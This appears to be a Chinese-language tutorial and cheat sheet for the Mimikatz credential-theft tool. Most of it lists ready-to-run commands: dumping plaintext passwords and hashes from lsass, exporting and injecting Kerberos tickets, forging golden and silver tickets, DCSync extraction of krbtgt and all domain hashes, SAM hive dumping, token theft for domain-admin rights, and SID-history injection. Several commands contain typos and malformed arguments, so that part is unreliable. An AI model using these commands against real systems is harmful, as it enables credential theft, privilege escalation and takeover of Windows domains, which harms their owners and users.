Mimikatz介绍

一、Mimikatz定义

  mimikatz是benjamin使用C语言编写的一款非常强大的安全工具，它可以从机器内存中提取明文密码、密码Hash、PIN码和Kerberos票据等。它的功能非常强大，得到全球安全研究员的广泛使用。

  Mimikatz 是一款功能强大的轻量级调试神器，通过它你可以提升进程权限注入进程读取进程内存，当然他最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码， lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略，通常我们在登陆系统时输入密码之后，密码便会储存在 lsass内存中，经过其 wdigest 和 tspkg 两个模块调用后，对其使用可逆的算法进行加密并存储在内存之中， 而 mimikatz 正是通过对lsass逆算获取到明文密码！也就是说只要你不重启电脑，就可以通过他获取到登陆密码，只限当前登陆系统！

二、程序发布地址

1、发布地址：http://blog.gentilkiwi.com/mimikatz

2、下载地址：https://github.com/gentilkiwi/mimikatz/releases

三、Mimikatz的功能模块

 常见模块的有privilege/sekurlsa/kerberos/lsadump/token/sid

四、常用模块详细介绍

1、privilege模块

 1）定义：

该模块主要用于提权，需要管理员身份运行才可以进行提权

 2）操作命令：privilege::debug

2、sekurlsa模块

 1）定义：

该模块主要用于枚举凭据，需要高权限运行，所以需要先用privilege模块提权

 2）操作命令：

①抓取内存中保存用户明文密码

sekurlsa::wdigest

②抓取内存中保存的用户Hash

sekurlsa::msv

③抓取内存中保存用户密码的Key值

sekurlsa::ekeys

④抓取内存中保存的用户所有凭据

sekurlsa::logonpasswords

⑤加载dump文件并导出其中的明文密码

sekurlsa::minidump lsass.dump

sekurlsa::logonpasswords full

⑥导出lsass.exe进程中所有的票据

sekurlsa::tickets /export

3、kerberos模块

 1）定义：

该模块主要用于查看kerberos相关的信息

 2）操作命令：

①查看内存中的Kerberos TGT

kerberos::tgt

②查看内存中所有的Kerberos票据

kerberos::list

③清除票据

kerberos::purge

④将票据注入到内存中

kerberos::ptt xx.kirbi

⑤黄金票据传递攻击

kerberos::golden /user:要伪造的域用户 /domain:域名 /sid:域的sid值 /krbtgt:krbtgt的hash或是AES Key /ptt

⑥白银票据传递攻击

kerberos::golden /user:要伪造的用户 /domain:域名 /sid:域的sid值 /target:服务机器 /service:指定服务，如cifs/ldap /rc4:服务账号的Hash /ptt

4、lsadump模块

 1）定义：

该模块是对Local Security Authority（LSA）进行密码抓取的模块

 2）操作命令：

①通过DCSync导出指定用户密码Hash格式化输出

lsadump::dcsync /domain:test.com /user:krbtgt /csv

②通过DCsync导出指定用户的密码Hash的详细信息

lsadump::dcsync /domain:test.com /user:krbtgt

③通过DCsync导出所有用户的Hash

lsadump::dcsync /domain:test.com /all /csv

④读取所有用户的Hash,需要域控上以管理员权限运行

lsadump::lsa /pathch

⑤从sam.hive和system.hive文件中获得NTLM Hash

reg save hklm\sam sam.hive

reg save hklm\system system.hive

lsadump::sam /sam:sam.hive /system:system.hive

⑥从本地SAM文件中读取密码Hash

token::elevate

lsadump::sam

5、token模块

 1）定义：

该模块是访问令牌相关的模块

 2）操作命令：

①列出当前进程的token信息

token::whoami

token::whoami /full

②列出当前系统中存在的token,高权限列出的token最全

token::list

③窃取指定的token id的token

token::elevate id

④窃取System权限的token（默认）

token::elevate /system

⑤窃取域管理员的token

token::elevate /domain

⑥窃取企业管理员的token

token::elevate /enterpriseadmin

⑦窃取本地管理员的token

token::elevate /admin

⑧窃取Local Service权限的token

token::elevate /localservice

⑨窃取Network Service权限的token

token::elevate /networkservice

⑩恢复之前的token

token::revert

6、sid模块

 1）定义：

该模块是SID相关的模块

 2）操作命令：

①查询指定对象的SID

sid::lookup /name:test

②通过samAccountName属性查询对象的信息

sid::query /sam:test

③通过SID属性查询对象的信息

sid::query /sid:S-1-5-21-2691333271-3572924591-1293602303

④通过 samAccountName 属性修改对象的 SID

sid::patch

sid::modify /sam:test /new:S-1-5-21-2691333271-3572924591-1293602303

⑤通过sid属性修改对象的 SID

sid::patch

sid::modify /sid:S-1-5-21-2691333271-3572924591-1293602303 /newsid::patch:S-1-5-21-2691333271-3572924591-1293602304

⑥通过 samAccountName 属性给对象添加一个SID History属性

sid::patch

sid::add /sam;test /new:S-1-5-21-2691333271-3572924591-1293602303

⑦通过sid属性给对象添加一个SID History属性

sid::patch

sid::add /sid:S-1-5-21-2691333271-3572924591-1293602303 /new:S-1-5-21-2691333271-3572924591-1293602303-500

⑧将administrator的SID 添加到 test的SID History 属性中

sid::path

sid::add /sam:test /new:administrator

⑨清除指定samAccountName对象的SID Historty属性

sid::clear /sam::test

⑩清除指定sid对象SID History属性

sid::clear /sid:S-1-5-21-2691333271-3572924591-1293602303

五、常规的操作使用命令

1、mimikatz # cls -->清屏,类似dos命令cls

2、mimikatz # exit -->退出mimikatz

3、mimikatz #version -->查看当前的mimikatz的版本

4、系统方面的操作使用命令:system

 1）mimikatz #system::user -->查看当前登录的系统用户

 2）mimikazt #system::computer -->返回当前的计算机名称

5、在服务器终端的操作命令: ts

 1）mimikatz #ts::sessions -->显示当前的会话

 2）mimikatz #ts::processes windows-d.vm.nirvana.local -->显示服务器的进程和对应的pid情况等

6、系统服务相关的操作使用命令:service

7、系统进程相关操作的使用命令:process

8、系统线程相关操作使用命令:thread

9、系统句柄相关操作使用命令:handle

10、加密相关操作使用命令:crypto

11、注入操作使用命令:inject

六、其他基础命令

1.cls清屏

2.exit退出

3.version查看mimikatz的版本

4.help查看帮助信息

5.system::user查看当前登录的系统用户

6.system::computer查看计算机名称

7.process::list列出进程

8.process::suspend进程名称 暂停进程 

9.process::stop进程名称 结束进程

10.process::modules列出系统的核心模块及所在位置  

11.service::list列出系统的服务

12.service::remove移除系统的服务

13.service::start stop服务名称 启动或停止服务

14.privilege::list列出权限列表 

15.privilege::enable激活一个或多个权限 

16.privilege::debug提升权限

17.nogpo::cmd打开系统的cmd.exe 

18.nogpo::regedit打开系统的注册表 

19.nogpo::taskmgr打开任务管理器 

20.ts::sessions显示当前的会话 

21.ts::processes显示进程和对应的pid情况等  

22.sekurlsa::wdigest获取本地用户信息及密码 

23.sekurlsa::wdigest获取kerberos用户信息及密码 

24.sekurlsa::tspkg获取tspkg用户信息及密码 

25.sekurlsa::logonPasswords获登陆用户信息及密码